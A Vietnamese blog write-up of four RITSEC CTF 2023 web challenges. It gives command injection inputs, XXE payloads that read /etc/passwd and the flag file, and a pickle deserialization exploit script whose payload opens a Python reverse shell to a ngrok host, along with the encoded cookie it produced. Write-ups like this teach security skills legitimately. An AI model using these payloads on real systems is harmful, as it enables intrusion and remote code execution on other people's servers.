Logo
Writeup RITSEC CTF 2023

Writeup RITSEC CTF 2023

August 18, 2023
4 min read
Table of Contents
index

RITSEC CTF 2023 diễn ra từ 23:00 ngày 31/03/2023 tới 23:00 ngày 02/04/2023. Mình bắt đầu chơi vào khoảng 19h ngày 02/04 nên chỉ kịp làm 3 bài là Echoes, Rick Roll và X-Men Lore. Bài Pickle Store mình chỉ vừa mới giải được thôi! Source code của giải và cả writeup của BTC có thể thấy tại đây.

Echoes

Do you hear that?

Truy cập site chúng ta thấy 1 form nhập một từ vào và web sẽ hiển thị lại từ đó.

Dễ đoán được phía sau web này server sẽ chạy dòng lệnh tương tự echo test . Thử thực thi thêm lệnh ls bằng cách nhập.

Terminal window
| ls .

Mình có thử những lệnh khác như | ls./ hay test | ls ./ thì đều không thành công chắc do server filter @@

giờ chỉ cần nhập | cat flag.txt để lấy flag

Flag:

Terminal window
RS{R3S0UND1NG_SUCS3SS!}

Rick Roll

I mean, do I need to say more?

Bài này chỉ cần tìm các mảnh của flag rải rác khắp nơi trong source code. Flag:

Terminal window
RS{/\/eveRG0nna_G1v3y0uuP_|3tY0|_|d0vvn_TuRna30unD_D3s3RTy0u}

X-Men Lore

The 90’s X-Men Animated Series is better than the movies. Change my mind.

Trang web có những button mà khi click vào sẽ dẫn ta tới /xmen kèm theo việc set giá trị của cookie theo từng button.

Decode base64 thử 1 cookie ta thấy

XML rất rõ ràng -> có thể đây là XXE. Thử đọc file /etc/passwd bằng payload:

<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><input><xmen>&test;</xmen></input>

Encode base64 lại và sửa giá trị cookie

Vậy đúng là XXE. Dựa vào hint là flag ko có đuôi file nên dùng payload sau ta đọc đc flag:

<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///flag'>]><input><xmen>&test;</xmen></input>

Flag:

Terminal window
RS{XM3N_L0R3?_M0R3_L1K3_XM3N_3XT3RN4L_3NT1TY!}

Pickle Store

New pickles just dropped! Check out the store

Giống bài xmen, các nút bấm cũng dẫn ta tới /order kèm với việc set giá trị của cookie. Nhưng lần này cookie không còn là base64 đơn thuần nữa. Tên bài là Pickle -> có thể là đã được serialize bởi module pickle trong python. Thử deserialize 1 cookie của button “Sweet Pickle”:

import base64
import pickle
# Decode base64
encoded_str = "gASVDwAAAAAAAACMC3N3ZWV0cGlja2xllC4="
decoded_str = base64.b64decode(encoded_str)
# Deserialize
obj = pickle.loads(decoded_str)
print(obj)
Terminal window
sweetpickle

-> Đúng là đã được serialize bằng pickle

Google thì mình biết được module này có lỗ hổng RCE khi deserialize

-> có thể serialize một payload độc hại nào đấy để khi server deserialize sẽ thực thi đoạn code chúng ta mong muốn.

Google tiếp mình tìm thấy khá nhiều bài viết về Python Pickle RCE và tại đây có nói về việc sử dụng lỗ hổng này để tạo 1 reverse shell

import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ('<payloadhere>')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))

Việc bây giờ là tạo payload để cho vào phần cmd kèm theo việc tạo 1 tcp server để có thể kết nối đc. Mình setup localhost listen tại port 1221 và sử dụng ngrok để tunnel localhost tới internet:

Payload tạo reverse shell có thể tìm thấy tại revshells.com. Chọn việc tạo reverse shell bằng python bởi vì chúng ta đã biết được server suửa dụng python làm backend. Có thể bash cũng hoạt động trong trường hợp này.

import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = (''' python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("0.tcp.ap.ngrok.io",13073));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' ''')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))
Terminal window
b'gASVrgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjJMgcHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC50Y3AuYXAubmdyb2suaW8iLDEzMDczKSk7W29zLmR1cDIocy5maWxlbm8oKSxmKWZvciBmIGluKDAsMSwyKV07cHR5LnNwYXduKCJzaCIpJyCUhZRSlC4='

Update cookie và gửi request:

Ngay sau khi gửi thì máy mình nhận được kết nối:

Giờ chỉ cần tìm và đọc flag là xong!

Flag:

Terminal window
RS{TH3_L345T_53CUR3_P1CKL3}